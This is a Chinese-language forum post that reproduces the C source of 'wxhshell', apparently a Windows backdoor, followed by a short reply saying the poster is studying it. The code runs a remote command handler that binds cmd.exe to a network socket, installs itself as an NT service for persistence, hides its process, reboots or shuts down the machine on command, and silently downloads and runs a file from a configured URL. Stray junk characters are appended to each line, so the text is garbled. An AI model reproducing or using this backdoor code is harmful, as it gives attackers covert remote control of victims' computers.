  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]>R`]U9*O  
  if(DownloadFile(cmd,wsh)) O_F<VV*MFQ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); .%WbXs  
  else TKRu^KH9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7F|T5[*l  
  } c/T]=S[  
  else { :Q?xNY%  
3.R?=npA  
    switch(cmd[0]) { dVO|q9 /  
  {T:2+iS9:  
  // 帮助 %\r4c*O1q  
  case '?': { !R)v2Mk|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;"joebZ/  
    break; E@ t~juF!  
  } ,6a'x~y<r  
  // 安装 <bGSr23*  
  case 'i': { ~(I\O?k>H  
    if(Install()) BszkQ>#6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3TtnLay.k  
    else H~||]_q|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [0MVsc=  
    break; *QAK9mc  
    } m:p1O3[R  
  // 卸载 _h@e.BtDs  
  case 'r': { p@r~L(>+3  
    if(Uninstall()) 8@b@y|#]X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (q:L_zFj>"  
    else mI"|^!L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^P&y9dC.  
    break; p(U' c}@2  
    } uiDR}   
  // 显示 wxhshell 所在路径 47 m:z5;  
  case 'p': { Dyt}"r\  
    char svExeFile[MAX_PATH]; D}\% Q #  
    strcpy(svExeFile,"\n\r"); 5 ^f>L2  
      strcat(svExeFile,ExeFile); #{ `(;83  
        send(wsh,svExeFile,strlen(svExeFile),0); Nv #vfh9}P  
    break; EVRg/ {X  
    } kCN9`9XI{  
  // 重启 \!G&:<h  
  case 'b': { @Cw<wrem  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,pf<"^li  
    if(Boot(REBOOT)) &:'Uh W-t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \ J9@p  
    else { oEKLuy  
    closesocket(wsh); sbkWJy  
    ExitThread(0); &*MwKr<y  
    } a#j0N5<Nl  
    break; 7c+TS--  
    } x\x>_1oP  
  // 关机 Zr oj-3-X~  
  case 'd': { qjUQ2d  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); u4#BD!W  
    if(Boot(SHUTDOWN)) WI}P(!h\J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F S1<f:  
    else { \7gLk:  
    closesocket(wsh); 9Z rWG  
    ExitThread(0); ;t"#7\  
    } in#g  
    break; v0= ^Hy m  
    } R:i7Rb2C  
  // 获取shell )ZNH/9e/  
  case 's': { '>2xP<ct!&  
    CmdShell(wsh); \t^q@}~0Wz  
    closesocket(wsh); ]hv4EL(zi  
    ExitThread(0); `){*JPl  
    break; mv<z%y?Oj  
  } gt'0B-;W  
  // 退出 i (L;1 `  
  case 'x': { obaJT"1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); H$;K(,'  
    CloseIt(wsh); kF6X?mqgD  
    break; X`^9a5<"  
    } XP6R$0yN  
  // 离开 ]}KmT"vA  
  case 'q': { l_+s$c  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ddlLS  
    closesocket(wsh); eN N%%Q  
    WSACleanup(); ,Iwri\  
    exit(1); Tv~<W4  
    break; A[=)Zw "  
        } S37Bl5W  
  } 65s|gfu/  
  } e)7[weGN  
,C(")?4aJ  
  // 提示信息 &``;1/J*W  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cKFzn+  
} ?sp  
  } S-'iOJ 1]  
MCL5a@BX)  
  return; ykX}T6T  
} ~A [ Ju%R  
}UQBaqDH  
// shell模块句柄 [S-NGip  
int CmdShell(SOCKET sock) $&k zix  
{ +a nNpy  
STARTUPINFO si; &7|=8Z[o  
ZeroMemory(&si,sizeof(si)); sT'wps2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1&Nk  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4vp,izNW  
PROCESS_INFORMATION ProcessInfo; _@jl9<t=_  
char cmdline[]="cmd"; rc 9 \  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8Z FPs/HP  
  return 0; /Q})%j1S0  
} O2ety2}?f  
4N*Fq!k~  
// 自身启动模式 l|U=(aA]h  
int StartFromService(void) .5KRi6  
{ c,X\1yLy  
typedef struct rkG*0#k  
{ SDDs}mV  
  DWORD ExitStatus; 8WfF: R;  
  DWORD PebBaseAddress; 5pE[}@-c9  
  DWORD AffinityMask; T3%yV*F,  
  DWORD BasePriority; ?Z*LTsPr  
  ULONG UniqueProcessId; y{U'\  
  ULONG InheritedFromUniqueProcessId; "7Zb)Ocb  
}   PROCESS_BASIC_INFORMATION; %HwPOEJ  
y%`^* E&  
PROCNTQSIP NtQueryInformationProcess; 6hAeLlU1  
mY#[D; mUe  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; e=1&mO?  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; nWmc  
mNWmp_c,1  
  HANDLE             hProcess; @H1pPr  
  PROCESS_BASIC_INFORMATION pbi; jYO@ %bQ  
=n i&*&  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >umcpkp- h  
  if(NULL == hInst ) return 0; )Xl/|YD  
-Ufd+(   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); t 0nGZ%`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); R%8nR6iG"  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9I+;waLlB  
- :*PXu  
  if (!NtQueryInformationProcess) return 0; r >u0Y  
P_,f  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ATk>:^n  
  if(!hProcess) return 0; Euk#C;uBg  
o/2\8   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `f8{ ^Rau  
v3Te+oLg  
  CloseHandle(hProcess); Hx62x X  
z! D >l  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Z\6azhbI}  
if(hProcess==NULL) return 0; :*)~nPVV  
ol:,02E&  
HMODULE hMod; P\*-n"  
char procName[255]; ?dC[VYC\^  
unsigned long cbNeeded; o T5?*3f  
aq0J }4U  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )}]<o |'  
AL&}WbUC  
  CloseHandle(hProcess); r/Qq-1E  
\02j~r`o  
if(strstr(procName,"services")) return 1; // 以服务启动 s|"V$/X(W  
"|.>pD#0&  
  return 0; // 注册表启动 f|w+}z  
} .A&Ey5  
+2|X 7wA  
// 主模块 >"5^]o2?~l  
int StartWxhshell(LPSTR lpCmdLine) zPH1{|H+l  
{ uy~5!i&  
  SOCKET wsl; @@'zMV%  
BOOL val=TRUE; wvp\'* $  
  int port=0; hc`9Y  
  struct sockaddr_in door; C W7E2 ^P$  
WK:~2m&y  
  if(wscfg.ws_autoins) Install(); 3@XCP-`  
9kH~+  
port=atoi(lpCmdLine); C>:F4"0  
}8fxCW*|  
if(port<=0) port=wscfg.ws_port; N@58R9P<p  
`IFt;Ja\6  
  WSADATA data; v}+axu/?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ](x4q  
G5kM0vs6L  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   R^f~aLl  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); nw Or  
  door.sin_family = AF_INET; |hiYV  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +}I[l,,xy  
  door.sin_port = htons(port); p%]* I?  
Q`,D#V${D  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &z 1A-O v  
closesocket(wsl); xQk]a1  
return 1; -]+ XTsL  
} 7h&$^  
818</b<yn  
  if(listen(wsl,2) == INVALID_SOCKET) { .gG<08Z  
closesocket(wsl); gupB8 .!  
return 1; gTH1FR8$y  
} T9*\I TA  
  Wxhshell(wsl); l:z :tJ#(  
  WSACleanup(); UH%oGp$ykX  
dY;^JPT  
return 0; xX{uDMYa;  
mE}``  
} wI1[I  
{iYu x;(  
// 以NT服务方式启动 4CW/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) U#Wc!QN-t  
{ uQ vW@Tt  
DWORD   status = 0; Gyjx:EM  
  DWORD   specificError = 0xfffffff; ~V`D@-VND  
9RE{,mos2v  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "SNsOf  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; t TA6 p  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; MPAZ%<gmD  
  serviceStatus.dwWin32ExitCode     = 0; HdJLD+k/  
  serviceStatus.dwServiceSpecificExitCode = 0; -,TBUWg  
  serviceStatus.dwCheckPoint       = 0; m{JiF-=u  
  serviceStatus.dwWaitHint       = 0; Bag2sk  
e%R+IH5i  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); SV<*qz  
  if (hServiceStatusHandle==0) return; hIXGfvUy  
QTz{ZNi!  
status = GetLastError(); U4 m[@wF  
  if (status!=NO_ERROR) JAC W#'4hV  
{ Xd)ba9{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]n _-  
    serviceStatus.dwCheckPoint       = 0; PUltn}M  
    serviceStatus.dwWaitHint       = 0; #Vs/1y`()  
    serviceStatus.dwWin32ExitCode     = status; 3${?!OC  
    serviceStatus.dwServiceSpecificExitCode = specificError; Zj<oh8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `y P-,lA$  
    return; "f!*%SR: 1  
  } c72Oy+#  
HAf.LdnzS  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [9BlP  
  serviceStatus.dwCheckPoint       = 0; "2HRuqf  
  serviceStatus.dwWaitHint       = 0; d%t]:41=Z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); umcbIi('  
} $- =aqUU  
HoH3.AY X  
// 处理NT服务事件,比如:启动、停止 @Sq=#f/=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7@fd[  
{ 6N~ jt  
switch(fdwControl) >,@Fz)\:{'  
{ <j ;HRm  
case SERVICE_CONTROL_STOP: TbIM{X  
  serviceStatus.dwWin32ExitCode = 0; nd3]&occ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; x^+ C[%  
  serviceStatus.dwCheckPoint   = 0; L]K*Do  
  serviceStatus.dwWaitHint     = 0; O.& 6J/  
  { yZ0;\Tr*J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @ RTQJ+ms  
  } ~1|sf8  
  return; C;dA?Es>R  
case SERVICE_CONTROL_PAUSE: [cXu<vjFM  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; l>~:lBO  
  break; X2 M<DeF:  
case SERVICE_CONTROL_CONTINUE: puZ<cV e/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; iL|*g3`-f  
  break; iN`/pW/JE  
case SERVICE_CONTROL_INTERROGATE: EOtrrfT&  
  break; Pk8L- [&v  
}; u%XFFt5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @]3(l  
} nXi6Q+YI  
}K<;ygcWE@  
// 标准应用程序主函数 *n}9_V%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *XniF~M  
{ qgI Jg6x/}  
;jX_e(T3m  
// 获取操作系统版本 =!#D UfQf  
OsIsNt=GetOsVer(); aI8wy-3I  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3C_g)5 _:  
ngeX+@  
  // 从命令行安装 ?#04x70  
  if(strpbrk(lpCmdLine,"iI")) Install(); Rn(|  
5Hr(9)  
  // 下载执行文件 *9PS2*n  
if(wscfg.ws_downexe) { }s}9@kl;&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ei\X/Z*q%P  
  WinExec(wscfg.ws_filenam,SW_HIDE); s3J T1TX  
} $ZcmE<7k  
ik8e  
if(!OsIsNt) { elKQge  
// 如果时win9x,隐藏进程并且设置为注册表启动 ec=4L@V*  
HideProc(); JSGUl4N  
StartWxhshell(lpCmdLine); ,l0s(Cg  
} zN2sipJS8  
else (a^F`#]  
  if(StartFromService()) fi bR:8  
  // 以服务方式启动  }Ecm  
  StartServiceCtrlDispatcher(DispatchTable); V{d"cs>9  
else + s[(CI.b  
  // 普通方式启动 0 |F (qR  
  StartWxhshell(lpCmdLine); ioa 1n=j  
zEO 9TuBO  
return 0; 'kx{0J?  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五